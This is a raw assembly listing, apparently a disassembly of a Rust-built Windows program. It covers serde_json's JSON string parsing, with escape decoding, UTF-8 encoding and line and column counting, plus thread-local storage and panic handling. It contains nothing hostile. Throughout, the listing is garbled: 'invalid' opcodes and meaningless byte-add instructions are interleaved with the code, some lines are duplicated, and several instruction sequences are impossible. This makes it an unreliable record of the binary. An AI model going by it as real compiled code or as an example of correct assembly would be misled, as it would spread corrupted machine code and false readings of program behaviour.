jb 0x1400d24a6
mov r9, rbx
mov dword [rsp + 0x38], 0
cmp eax, 0x80
jae 0x1400d19b1
mov byte [rsp + 0x38], sil
mov r14d, 1
jmp 0x1400d1a02
cmp rdx, qword [r8]
mov rax, qword [rsp + 0x50]
jne 0x1400d182b
mov rcx, r8
call fcn.140101c90
mov r8, qword [rsp + 0x30]
mov rax, qword [r8 + 8]
mov rdx, qword [r8 + 0x10]
mov byte [rax + rdx], 9
jmp 0x1400d1860
cmp rdx, qword [r8]
mov rax, qword [rsp + 0x50]
jne 0x1400d1850
mov rcx, r8
call fcn.140101c90
mov r8, qword [rsp + 0x30]
mov rax, qword [r8 + 8]
mov rdx, qword [r8 + 0x10]
mov byte [rax + rdx], 0xd
nop word cs:[rax + rax]
inc rdx
mov qword [r8 + 0x10], rdx
lea rcx, [0x140148e60]
mov rdx, r14
cmp r14, rbp
jb 0x1400d15b0
jmp 0x1400d1a59
mov rcx, r8
mov rdi, rdx
mov rdx, r9
mov r8, r14
call fcn.14010fc70
mov rdx, rdi
mov r8, qword [rsp + 0x30]
mov r9, qword [r8 + 0x10]
jmp 0x1400d1628
mov rdx, qword [rdi + 8]
mov r14, qword [rdi + 0x10]
cmp r14, rdx
jae 0x1400d22be
mov rax, qword [rdi]
lea rcx, [r14 + 1]
cmp byte [rax + r14], 0x5c
mov qword [rdi + 0x10], rcx
jne 0x1400d1c8e
lea rcx, [rsp + 0x38]
mov rdx, rdi
call fcn.1400d1040
cmp byte [rsp + 0x38], 0
jne 0x1400d1c99
add r14, 2
cmp byte [rsp + 0x39], 0x75
mov qword [rdi + 0x10], r14
jne 0x1400d1c8e
lea rcx, [rsp + 0x38]
mov rdx, rdi
call fcn.1400d0d10
cmp word [rsp + 0x38], 0
jne 0x1400d1c99
lea eax, [rbx]
add byte [rax], al
movzx eax, word [rsp + 0x3a]
lea ecx, [rax + 0x2000]
movzx ecx, cx
cmp ecx, 0xfc00
jb 0x1400d1cf5
add esi, 0x2800
movzx edx, si
shl edx, 0xa
lea ecx, [rax + 0x2400]
movzx ecx, cx
add ecx, edx
add ecx, 0x10000
mov r8d, ecx
xor r8d, 0xd800
add al, bl
add byte [rax], al
add r8d, 0xffef0000
cmp r8d, 0xffef07ff
jbe 0x1400d1d00
add edx, 0x10000
mov r8d, edx
shr r8d, 0x12
shr edx, 4
and edx, 0xff00
inc dword [rax]
add byte [rbp + 0xf], al
mov dh, 0xc0
inc dword [rax]
add byte [rbp + 0xf], al
mov dh, 0xc0
movzx eax, al
or r8d, edx
shl ecx, 0xa
and ecx, 0xff0000
or ecx, r8d
or ecx, eax
or ecx, eax
shl eax, 0x18
or eax, ecx
movd xmm0, eax
pand xmm0, xmm6
por xmm0, xmm7
movd dword [rsp + 0x38], xmm0
mov r14d, 4
mov rcx, qword [rsp + 0x30]
mov r9, rbx
jmp 0x1400d1a02
cmp eax, 0x800
jae 0x1400d19d8
mov eax, esi
shr eax, 6
or al, 0xc0
mov byte [rsp + 0x38], al
and sil, 0x3f
or sil, 0x80
mov byte [rsp + 0x39], sil
mov r14d, 2
jmp 0x1400d1a02
mov edx, eax
shr edx, 0xc
or dl, 0xe0
mov byte [rsp + 0x38], dl
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x39], al
and sil, 0x3f
or sil, 0x80
mov byte [rsp + 0x3a], sil
mov byte [rsp + 0x3a], dh
mov byte [rsp + 0x3a], dh
mov r14d, 3
mov rax, qword [rcx]
sub rax, r9
cmp rax, r14
jb 0x1400d1a3e
mov rcx, qword [rsp + 0x50]
add rcx, r9
lea rdx, [rsp + 0x38]
mov r8, r14
mov rsi, r9
call fcn.140106530
add rsi, r14
mov r8, qword [rsp + 0x30]
mov qword [r8 + 0x10], rsi
mov rbp, qword [rdi + 8]
mov r14, qword [rdi + 0x10]
jmp 0x1400d1867
mov rdx, r9
mov rsi, rcx
mov r8, r14
call fcn.14010fc70
mov rcx, qword [rsi + 8]
mov r9, qword [rsi + 0x10]
jmp 0x1400d1a12
mov r14, r12
cmp r14, rbp
jne 0x1400d1c72
mov qword [rsp + 0x38], 4
test r14, r14
jne 0x1400d1a7d
mov edx, 1
xor r8d, r8d
jmp 0x1400d1c04
mov rax, qword [rdi]
mov ecx, r14d
and ecx, 3
cmp r14, 4
jae 0x1400d1b32
mov edx, 1
xor r8d, r8d
jmp 0x1400d1bd1
cmp eax, 0x22
jne 0x1400d1ca3
mov rbp, qword [r8 + 0x10]
lea r15, [r12 + 1]
test rbp, rbp
je 0x1400d1c23
mov r14, r12
sub r14, rdx
jb 0x1400d24c1
add rdx, rbx
mov rax, qword [r8]
sub rax, rbp
cmp rax, r14
mov qword [rsp + 0x50], r15
jb 0x1400d1d1b
mov r13, qword [r8 + 8]
mov ebp, dword [rax + 8]
mov rcx, r13
add rcx, rbp
mov r15, r8
mov r8, r14
call fcn.140106530
add rax, qword [rax]
add rax, qword [rax]
add rbp, r14
mov qword [r15 + 0x10], rbp
mov r14, qword [rsp + 0x50]
mov qword [rdi + 0x10], r14
lea rcx, [rsp + 0x58]
mov rdx, r13
mov r8, rbp
call fcn.140014300
invalid
invalid
hlt
dec dword [rax - 0x7d]
jl 0x1400d1b38
pop rax
add byte [rdi], cl
test dword [rcx], esp
add al, byte [rax]
invalid
invalid
movups xmm0, xmmword [rsp + 0x60]
mov rax, qword [rsp + 0x28]
mov qword [rax], 1
add cl, ch
sub eax, dword [rcx]
add byte [rax], al
add cl, ch
sub eax, dword [rcx]
add byte [rax], al
and r14, 0xfffffffffffffffc
mov r9d, 1
xor r8d, r8d
movdqa xmm0, xmmword [str._n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n]
mov r10d, 3
mov r11d, 2
mov edx, 1
nop dword [rax + rax]
add r8, 4
movd xmm1, dword [rax]
add rax, 4
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pcmpeqb xmm1, xmm0
movmskps esi, xmm1
test sil, 1
cmovne r8, r10
test sil, 2
cmovne r8, r11
test sil, 4
test dh, 4
cmovne r8, r9
test sil, 8
mov edi, 0
cmovne r8, rdi
mov ebx, esi
shr bl, 1
and bl, 5
sub sil, bl
mov ebx, esi
and bl, 0x33
shr sil, 2
and sil, 0x33
add sil, bl
mov ebx, esi
shr bl, 4
add bl, sil
and bl, 0xf
movzx esi, bl
add rdx, rsi
add r14, 0xfffffffffffffffc
add esi, 0xfffffffc
add esi, 0xfffffffc
jne 0x1400d1b60
test rcx, rcx
je 0x1400d1c04
xor r9d, r9d
nop dword [rax]
inc r8
xor r10d, r10d
cmp byte [rax + r9], 0xa
mov r11d, 0
cmove r8, r11
sete r10b
add rdx, r10
inc r9
cmp rcx, r9
jne case.0x140099c8c.351
lea rcx, [rsp + 0x38]
call fcn.14010fc10
mov rcx, qword [rsp + 0x28]
mov qword [rcx + 8], rax
mov qword [rcx], 2
jmp 0x1400d1f4d
mov r8, r12
sub r8, rdx
jb 0x1400d24d3
add rdx, rbx
mov qword [rdi + 0x10], r15
lea rcx, [rsp + 0x58]
and al, 0x58
call fcn.140014300
cmp qword [rsp + 0x58], 0
jne 0x1400d1f71
movups xmm0, xmmword [rsp + 0x60]
mov rax, qword [rsp + 0x28]
mov qword [rax], 0
movups xmmword [rax + 8], xmm0
jmp 0x1400d1f4d
add byte [rax], al
add byte [rax], al
mov r14, rdx
cmp r14, rbp
je 0x1400d1a62
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_serde_json_1.0.114_src_read.rs
mov rcx, r14
mov rdx, rbp
call fcn.1401085b0
mov rax, qword [rsp + 0x60]
jmp 0x1400d1f3d
mov qword [rsp + 0x38], 0x17
jmp 0x1400d1d09
mov rax, qword [rsp + 0x40]
jmp 0x1400d1f3d
lea rax, [r12 + 1]
mov qword [rdi + 0x10], rax
mov qword [rsp + 0x38], 0x10
cmp r12, 3
jae 0x1400d1d5d
xor r8d, r8d
mov edx, 1
jmp 0x1400d1e08
mov qword [rsp + 0x38], 4
cmp r12, rbp
jae 0x1400d24b2
cmp r12, 3
jae 0x1400d1e48
mov edx, 1
xor r8d, r8d
jmp 0x1400d1ef8
mov qword [rsp + 0x38], 0x14
jmp 0x1400d1d09
mov qword [rsp + 0x38], 0xf
lea rdx, [rsp + 0x38]
mov rcx, rdi
call fcn.1400d11b0
jmp 0x1400d1f3d
mov rcx, r8
mov r15, rdx
mov rdx, rbp
mov r8, r14
call fcn.14010fc70
mov rdx, r15
mov r8, qword [rsp + 0x30]
mov rbp, qword [r8 + 0x10]
jmp 0x1400d1adb
mov qword [rsp + 0x38], 0xf
add byte [rax], al
cmp r12, 3
jae 0x1400d1f91
mov edx, 1
xor r8d, r8d
jmp 0x1400d203b
mov rcx, rax
and rcx, 0xfffffffffffffffc
mov r9d, 1
xor r8d, r8d
movdqa xmm0, xmmword [str._n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n]
add byte [rcx - 0x46], al
add eax, dword [rax]
add byte [rax], al
mov r11d, 2
mov edx, 1
nop word cs:[rax + rax]
nop dword [rax + rax]
add r8, 4
movd xmm1, dword [rbx]
add rbx, 4
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pcmpeqb xmm1, xmm0
movmskps edi, xmm1
test dil, 1
cmovne r8, r10
test dil, 2
cmovne r8, r11
test dil, 4
cmovne r8, r9
test dil, 8
mov r14d, 0
add byte [rbp + 0xf], cl
invalid
invalid
mov ebp, edi
shr bpl, 1
and bpl, 5
sub dil, bpl
mov ebp, edi
and bpl, 0x33
and ch, 0x33
add byte [rbp + 0xf], cl
invalid
and ch, 0x33
shr dil, 2
and dil, 0x33
add dil, bpl
mov ebp, edi
shr bpl, 4
add bpl, dil
and bpl, 0xf
movzx edi, bpl
add rdx, rdi
add rcx, 0xfffffffffffffffc
jne 0x1400d1d90
test al, 3
je 0x1400d1c04
movzx eax, sil
and eax, 3
xor ecx, ecx
nop dword [rax]
inc r8
xor r9d, r9d
cmp byte [rbx + rcx], 0xa
mov r10d, 0
cmove r8, r10
sete r9b
add rdx, r9
inc rcx
cmp rax, rcx
jne 0x1400d1e20
jmp 0x1400d1c04
mov rax, rcx
and rax, 0xfffffffffffffffc
mov r9d, 1
add byte [rbp + 0x31], al
shl byte [rsi + 0xf], 0x6f
add eax, 0x41860
mov r10d, 3
mov r11d, 2
mov edx, 1
nop word cs:[rax + rax]
add r8, 4
movd xmm1, dword [rbx]
add rbx, 4
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pcmpeqb xmm1, xmm0
movmskps edi, xmm1
test dil, 1
cmovne r8, r10
test dil, 2
cmovne r8, r11
test dil, 4
cmovne r8, r9
test dil, 8
mov r14d, 0
cmovne r8, r14
mov ebp, edi
shr bpl, 1
and bpl, 5
sub dil, bpl
mov ebp, edi
and bpl, 0x33
shr dil, 2
and dil, 0x33
add dil, bpl
mov ebp, edi
shr bpl, 4
add bpl, dil
and bpl, 0xf
movzx edi, bpl
add rdx, rdi
add rax, 0xfffffffffffffffc
jne 0x1400d1e80
test cl, 3
je 0x1400d1f33
movzx eax, sil
and eax, 3
xor ecx, ecx
nop word cs:[rax + rax]
inc r8
xor r9d, r9d
cmp byte [rbx + rcx], 0xa
mov r10d, 0
cmove r8, r10
sete r9b
add rdx, r9
inc rcx
cmp rax, rcx
jne 0x1400d1f10
lea rcx, [rsp + 0x38]
call fcn.14010fc10
mov rsi, qword [rsp + 0x28]
mov qword [rsi + 8], rax
mov qword [rsi], 2
movaps xmm6, xmmword [rsp + 0x80]
movaps xmm7, xmmword [rsp + 0x90]
add rsp, 0xa8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov qword [rsp + 0x38], 0xf
cmp r12, 3
jae 0x1400d2078
mov edx, 1
xor r8d, r8d
jmp 0x1400d211b
mov rax, r14
and rax, 0xfffffffffffffffc
mov ecx, 1
xor r8d, r8d
movdqa xmm0, xmmword [str._n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n]
mov r9d, 3
mov r10d, 2
mov edx, 1
nop dword [rax]
add r8, 4
movd xmm1, dword [rbx]
add rbx, 4
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pcmpeqb xmm1, xmm0
movmskps r11d, xmm1
test r11b, 1
cmovne r8, r9
test r11b, 2
cmovne r8, r10
test r11b, 4
cmovne r8, rcx
test r11b, 8
mov edi, 0
cmovne r8, rdi
mov edi, r11d
shr dil, 1
and dil, 5
sub r11b, dil
mov edi, r11d
and dil, 0x33
shr r11b, 2
and r11b, 0x33
add r11b, dil
mov edi, r11d
shr dil, 4
add dil, r11b
and dil, 0xf
movzx r11d, dil
add rdx, r11
add rax, 0xfffffffffffffffc
jne 0x1400d1fc0
test r14b, 3
je 0x1400d1c04
movzx eax, sil
and eax, 3
xor ecx, ecx
nop
inc r8
xor r9d, r9d
cmp byte [rbx + rcx], 0xa
mov r10d, 0
cmove r8, r10
sete r9b
add rdx, r9
inc rcx
cmp rax, rcx
jne 0x1400d2050
jmp 0x1400d1c04
mov rax, r15
and rax, 0xfffffffffffffffc
mov ecx, 1
xor r8d, r8d
movdqa xmm0, xmmword [str._n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n]
mov r9d, 3
mov r10d, 2
mov edx, 1
add r8, 4
movd xmm1, dword [rbx]
add rbx, 4
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pcmpeqb xmm1, xmm0
movmskps r11d, xmm1
test r11b, 1
cmovne r8, r9
test r11b, 2
cmovne r8, r10
test r11b, 4
cmovne r8, rcx
test r11b, 8
mov edi, 0
cmovne r8, rdi
mov edi, r11d
shr dil, 1
and dil, 5
sub r11b, dil
mov edi, r11d
and dil, 0x33
xor eax, dword [rcx - 0x40]
jmp 0x1400d20fb
and r11b, 0x33
xor eax, dword [rcx - 0x40]
jmp 0x1400d20fb
jrcxz 0x1400d2130
add r11b, dil
mov edi, r11d
shr dil, 4
add dil, r11b
and dil, 0xf
movzx r11d, dil
add rdx, r11
add rax, 0xfffffffffffffffc
jne 0x1400d20a0
test r15b, 3
je 0x1400d1c04
movzx eax, sil
and eax, 3
xor ecx, ecx
nop
inc r8
xor r9d, r9d
cmp byte [rbx + rcx], 0xa
mov r10d, 0
cmove r8, r10
sete r9b
add rdx, r9
inc rcx
cmp rax, rcx
jne 0x1400d2130
jmp 0x1400d1c04
add r15, 0xfffffffffffffffe
mov qword [rsp + 0x38], 0xc
mov rax, qword [rsp + 0x70]
add rax, r15
inc rax
cmp rax, 3
jae 0x1400d2188
xor r8d, r8d
mov edx, 1
mov rsi, qword [rsp + 0x28]
jmp 0x1400d223c
add r12, 2
and r12, 0xfffffffffffffffc
mov eax, 1
xor r8d, r8d
movdqa xmm0, xmmword [str._n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n]
mov ecx, 3
mov r9d, 2
mov edx, 1
mov rsi, qword [rsp + 0x28]
nop word cs:[rax + rax]
add r8, 4
movd xmm1, dword [rbx]
add rbx, 4
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pcmpeqb xmm1, xmm0
movmskps r10d, xmm1
test r10b, 1
cmovne r8, rcx
test r10b, 2
cmovne r8, r9
test r10b, 4
cmovne r8, rax
test r10b, 8
mov r11d, 0
cmovne r8, r11
mov r11d, r10d
shr r11b, 1
and r11b, 5
sub r10b, r11b
mov r11d, r10d
and r11b, 0x33
shr r10b, 2
and r10b, 0x33
add r10b, r11b
mov r11d, r10d
shr r11b, 4
add r11b, r10b
and r11b, 0xf
movzx r10d, r11b
add rdx, r10
add r12, 0xfffffffffffffffc
jne 0x1400d21c0
test r14b, 3
je 0x1400d2273
movzx eax, r13b
and eax, 3
xor ecx, ecx
nop dword [rax + rax]
inc r8
xor r9d, r9d
cmp byte [rbx + rcx], 0xa
mov r10d, 0
cmove r8, r10
sete r9b
add rdx, r9
inc rcx
cmp rax, rcx
jne 0x1400d2250
lea rcx, [rsp + 0x38]
call fcn.14010fc10
jmp 0x1400d1f42
mov qword [rsp + 0x38], 0x14
mov rdx, qword [rdi + 8]
mov rcx, qword [rdi + 0x10]
cmp rcx, rdx
ja 0x1400d24e5
test rcx, rcx
je 0x1400d22d2
mov rax, qword [rdi]
mov r9d, ecx
and r9d, 3
cmp rcx, 4
jae 0x1400d22ff
mov edx, 1
xor r8d, r8d
jmp 0x1400d2395
mov qword [rsp + 0x38], 4
ja 0x1400d24f1
test r14, r14
jne 0x1400d22df
mov edx, 1
xor r8d, r8d
jmp 0x1400d1f33
mov rax, qword [rdi]
mov ecx, r14d
and ecx, 3
cmp r14, 4
jae 0x1400d23c8
mov edx, 1
xor r8d, r8d
jmp 0x1400d245f
and rcx, 0xfffffffffffffffc
mov r10d, 1
xor r8d, r8d
movdqa xmm0, xmmword [str._n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n]
mov r11d, 3
mov esi, 2
mov edx, 1
add r8, 4
movd xmm1, dword [rax]
add rax, 4
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pcmpeqb xmm1, xmm0
movmskps edi, xmm1
test dil, 1
cmovne r8, r11
test dil, 2
cmovne r8, rsi
test dil, 4
cmovne r8, r10
test dil, 8
mov ebx, 0
cmovne r8, rbx
mov ebx, edi
shr bl, 1
and bl, 5
sub dil, bl
mov ebx, edi
and bl, 0x33
shr dil, 2
and dil, 0x33
add dil, bl
mov ebx, edi
shr bl, 4
add bl, dil
and bl, 0xf
movzx edi, bl
add rdx, rdi
add rcx, 0xfffffffffffffffc
jne 0x1400d2324
test r9, r9
je 0x1400d1f33
xor ecx, ecx
inc r8
xor r10d, r10d
cmp byte [rax + rcx], 0xa
mov r11d, 0
cmove r8, r11
sete r10b
add rdx, r10
inc rcx
cmp r9, rcx
jne 0x1400d23a0
jmp 0x1400d1f33
and r14, 0xfffffffffffffffc
mov r9d, 1
xor r8d, r8d
movdqa xmm0, xmmword [str._n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n]
mov r10d, 3
mov r11d, 2
mov edx, 1
add r8, 4
movd xmm1, dword [rax]
add rax, 4
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pcmpeqb xmm1, xmm0
movmskps esi, xmm1
test sil, 1
cmovne r8, r10
test sil, 2
cmovne r8, r11
test sil, 4
cmovne r8, r9
test sil, 8
mov edi, 0
cmovne r8, rdi
mov ebx, esi
shr bl, 1
and bl, 5
sub sil, bl
mov ebx, esi
and bl, 0x33
shr sil, 2
and sil, 0x33
add sil, bl
mov ebx, esi
shr bl, 4
add bl, sil
and bl, 0xf
movzx esi, bl
add rdx, rsi
add r14, 0xfffffffffffffffc
jne 0x1400d23ee
test rcx, rcx
je 0x1400d1f33
xor r9d, r9d
inc r8
xor r10d, r10d
cmp byte [rax + r9], 0xa
mov r11d, 0
cmove r8, r11
sete r10b
add rdx, r10
inc r9
cmp rcx, r9
jne 0x1400d246b
jmp 0x1400d1f33
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_serde_json_1.0.114_src_read.rs
mov rcx, rdx
mov rdx, r12
call fcn.140108810
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_serde_json_1.0.114_src_read.rs
call fcn.140108970
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_serde_json_1.0.114_src_read.rs
mov rdx, rbp
call fcn.140108620
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_serde_json_1.0.114_src_read.rs
mov rcx, rdx
mov rdx, r12
call fcn.140108810
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_serde_json_1.0.114_src_read.rs
mov rcx, rdx
mov rdx, r12
call fcn.140108810
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_serde_json_1.0.114_src_read.rs
call fcn.140108620
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_serde_json_1.0.114_src_read.rs
mov rcx, r14
call fcn.140108620
int3
and al, 0xa8
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rsi + 0x41], ah
mov edi, 0x31450001
imul cl
ret 0xfff8
int3
add byte [rax], al
add dh, al
cld
add byte [rbx + 0xaf50b05], cl
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
or al, 0x25
pop rax
add byte [rax], al
add byte [rax], al
mov rax, qword [rcx + rax*8]
or al, 0x25
pop rax
add byte [rax], al
add byte [rax], al
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0xc8]
cmp eax, 1
je 0x1400d2e6a
mov qword [rbp - 0x20], rax
lea rax, [rbp - 0x28]
mov qword [rbp - 0x18], rax
lea rax, [0x140013930]
or dh, ah
dec dword [rax - 0x77]
invalid
invalid
lea rax, str._nthread__has_overflowed_its_stack_n
mov qword [rbp - 0x58], rax
mov qword [rbp - 0x50], 2
mov qword [rbp - 0x38], 0
add byte [rax], al
or dh, ah
dec dword [rax - 0x77]
invalid
add byte [rax], al
lea rax, [rbp - 0x18]
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x40], 1
add byte [rax - 0x73], cl
clc
add byte [rax - 0x73], cl
clc
mov qword [rbp], rax
mov qword [rbp + 8], 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x768c3
lea rdx, [0x140149810]
mov rcx, rbp
lea r8, [rbp - 0x58]
call fcn.140013990
mov rcx, qword [rbp + 8]
test al, al
je case.0x140093f12.475
test rcx, rcx
lea rax, str.formatter_error
lea eax, [0x14014a2d8]
cmovne rax, rcx
mov qword [rbp], rax
mov rcx, rbp
mov ecx, ebp
mov ecx, ebp
call fcn.1400d3380
lock dec qword [rsi]
jne 0x1400d2f89
mov rcx, rsi
call fcn.1400d4890
invalid
xor eax, eax
add rsp, 0x98
pop rsi
pop rbp
ret
test rcx, rcx
je 0x1400d2fa3
lea rcx, [rbp + 8]
call fcn.1400d3380
mov qword [rbp], 0
mov dword [rbp], 0
lock dec qword [rsi]
je 0x1400d2f81
jmp 0x1400d2f89
lea ecx, str.use_of_std::thread::current___is_not_possible_after_the_threads_local_data_has_been_destroyed
lea r8, [0x140149a00]
mov edx, 0x5e
add byte [rax], al
add byte [rax], al
call fcn.140108990
ud2
adc byte [rbp + 0x56], dl
sub rsp, 0x28
lea rbp, [rdx + 0x80]
call fcn.140108a40
pop rdx
add eax, dword [rax]
pop rdx
add eax, dword [rax]
int3
push rbp
push rsi
sub rsp, 0x28
sub esp, 0x28
sub esp, 0x28
lea rbp, [rdx + 0x80]
cmp qword [rbp + 8], 0
je 0x1400d3012
lea rcx, [rbp + 8]
call fcn.1400d3380
nop
add rsp, 0x28
add esp, 0x28
invalid
sub byte [rsi + 0x5d], bl
ret
in al, dx
cmp byte [rax - 0x73], cl
insb byte [rdi], dx
and al, 0x30
mov qword [rbp], 0xfffffffffffffffe
mov rsi, rcx
mov esi, ecx
mov esi, ecx
movzx eax, byte [0x140182310]
sal edx, cl
or al, byte [rax]
mov edx, 0x38
xor ecx, ecx
call fcn.1400df910
mov rdx, rax
test rax, rax
je 0x1400d30b4
invalid
mov qword [rdx], 1
add dword [rax], eax
add byte [rax], al
mov qword [rdx + 8], 1
movups xmm0, xmmword [rsi]
movups xmmword [rdx + 0x10], xmm0
adc dword [rdx + 0x10], eax
adc dword [rdx + 0x10], eax
mov rax, qword [rsi + 0x10]
mov eax, dword [rsi + 0x10]
mov qword [rdx + 0x20], rax
mov rax, qword [0x140182258]
nop word cs:[rax + rax]
nop dword [rax + rax]
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
mov rcx, rax
inc rcx
je 0x1400d30a5
lock cmpxchg qword [0x140182258], rcx
jne 0x1400d3080
mov qword [rdx + 0x28], rcx
mov byte [rdx + 0x30], 0
xor byte [rax], al
xor byte [rax], al
mov rax, rdx
mov eax, edx
add rsp, 0x38
pop rsi
pop rbp
ret
mov qword [rbp - 8], rdx
mov qword [rbp - 0x10], rsi
call fcn.140110360
jmp 0x1400d30cb
mov qword [rbp - 8], rdx
push rbp
clc
mov qword [rbp - 0x10], rsi
mov ecx, 8
or byte [rax], al
add byte [rax], al
invalid
or byte [rax], al
add byte [rax], al
invalid
mov edx, 0x38
call fcn.1401082c0
ud2
push 0x30
mov rax, qword [rbp - 8]
lock dec qword [rax]
jne 0x1400d30f2
mov rcx, qword [rbp - 8]
clc
call fcn.1400d5990
nop
add rsp, 0x28
pop rsi
pop rbp
ret
invalid
sub esp, 0x28
lea rbp, [rdx + 0x30]
lea ebp, [rdx + 0x30]
lea ebp, [rdx + 0x30]
cmp qword [rbp - 8], 0
je 0x1400d311d
add rsp, 0x28
pop rsi
pop rbp
ret
mov rcx, qword [rbp - 0x10]
call fcn.1400d59c0
jmp 0x1400d3116
mov rdx, qword [0x58]
adc al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc2
mov rax, qword [rdx + rax*8]
movzx eax, byte [rax + 0xc8]
cmp eax, 1
je 0x1400d31b5
mov qword [rbp - 0x18], rcx
test eax, eax
jne case.0x1400db648.326
mov byte [rbp - 9], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
mov rcx, qword [0x58]
add byte [rax], al
mov rax, qword [rcx + rax*8]
lea rcx, [rax + 0xc0]
add byte [rax], al
add byte [rax - 0x73], cl
lea edx, [0x1400d46e0]
add byte [rax], al
add byte [rax - 0x73], cl
lea edx, [0x1400d46e0]
call fcn.1400d4720
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
or al, 0x25
pop rax
add byte [rax], al
add byte [rax], al
mov rax, qword [rcx + rax*8]
add byte [rax], al
mov rax, qword [rcx + rax*8]
mov byte [rax + 0xc8], 1
mov rcx, qword [rbp - 0x18]
invalid
call 0x131663744
mov eax, dword [0x140182314]
int1
or al, byte [rax]
mov rdx, qword gs:[0x58]
mov rdx, qword [0x58]
mov rax, qword [rdx + rax*8]
cmp qword [rax + 0xc0], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
jne 0x1400d31f2
mov eax, dword [0x140182314]
cmp al, 0xf1
or al, byte [rax]
mov rdx, qword gs:[0x58]
and eax, 0x58
add byte [rax - 0x75], cl
add al, 0xc2
invalid
mov rax, qword [rdx + rax*8]
ret 0x8948
mov qword [rax + 0xc0], rcx
rol byte [rax], 0
add byte [rax - 0x7d], cl
invalid
invalid
invalid
add rsp, 0x50
pop rbp
ret
mov qword [rbp - 0x18], rcx
mov qword [rbp - 0x20], rcx
invalid
invalid
call 0x1205abb42
loopne 0x1400d3243
lea rax, [0x140149988]
mov qword [rsp + 0x20], rax
and al, 0x20
xchg dword [rdi + 7], esp
add byte [rax - 0x77], cl
and al, 0x20
and al, 0x20
and al, 0x20
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140149548]
lea r8, [rbp - 0x20]
mov edx, 0x2b
call fcn.1401088e0
xor al, 0x63
invalid
add eax, dword [rax]
ud2
mov rax, qword [rbp - 0x18]
mov eax, dword [rbp - 0x18]
lock dec qword [rax]
jne 0x1400d3237
mov rcx, qword [rbp - 0x18]
call fcn.1400d4890
invalid
add byte [rax], al
invalid
lea rax, [0x140149970]
add eax, 0x76732
mov qword [rsp + 0x20], rax
lea rcx, str.cannot_access_a_Thread_Local_Storage_value_during_or_after_destruction_rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrary_std_src_threadlocal.rs
lea ecx, str.cannot_access_a_Thread_Local_Storage_value_during_or_after_destruction_rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrary_std_src_threadlocal.rs
lea ecx, str.cannot_access_a_Thread_Local_Storage_value_during_or_after_destruction_rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrary_std_src_threadlocal.rs
lea r9, [0x140149508]
or eax, 0x762b7
lea r8, [rbp - 0xa]
mov edx, 0x46
idiv byte [rdx + 0x46]
call fcn.1401088e0
int3
adc byte [rbp + 0x48], dl
sub esp, 0x30
in al, dx
xor byte [rax - 0x73], cl
push 0x50
in al, dx
xor byte [rax - 0x73], cl
push 0x50
mov rax, qword [rbp - 0x20]
lock dec qword [rax]
jne 0x1400d3281
mov rcx, qword [rbp - 0x20]
call fcn.1400d4890
mov byte [rbp - 9], 0
add rsp, 0x30
pop rbp
ret
add byte [rax], r8b
mov qword [rsp + 0x10], rdx
push rbp
sub rsp, 0x30
in al, dx
xor byte [rax - 0x73], cl
push 0x50
in al, dx
xor byte [rax - 0x73], cl
push 0x50
cmp byte [rbp - 9], 0
je case.0x140018f24.2813
mov rax, qword [rbp - 0x18]
lock dec qword [rax]
jne case.0x140018f24.2813
invalid
mov rcx, qword [rbp - 0x18]
call fcn.1400d4890
nop
add rsp, 0x30
pop rbp
ret
clc
invalid
call 0x13413d2d8
dec dword [rax - 0x75]
invalid
je 0x1400d331b
lea rcx, [rbp - 0x10]
call fcn.1400d3380
xor eax, eax
add rsp, 0x40
pop rbp
ret
nop word cs:[rax + rax]
nop dword [rax + rax]
mov qword [rsp + 0x10], rdx
push rsp
and al, 0x10
push rbp
sub rsp, 0x20
lea rbp, [rdx + 0x40]
push 0x40
push 0x40
cmp qword [rbp - 0x10], 0
je 0x1400d334e
invalid
jge 0x1400d3332
add byte [rcx + rcx + 0x48], dh
lea ecx, [rbp - 0x10]
invalid
or dword [rax - 0x73], ecx
invalid
lea rcx, [rbp - 0x10]
invalid
call fcn.1400d3380
add byte [rax], al
nop
add rsp, 0x20
add esp, 0x20
add esp, 0x20
pop rbp
ret
int3
add byte [rax], al
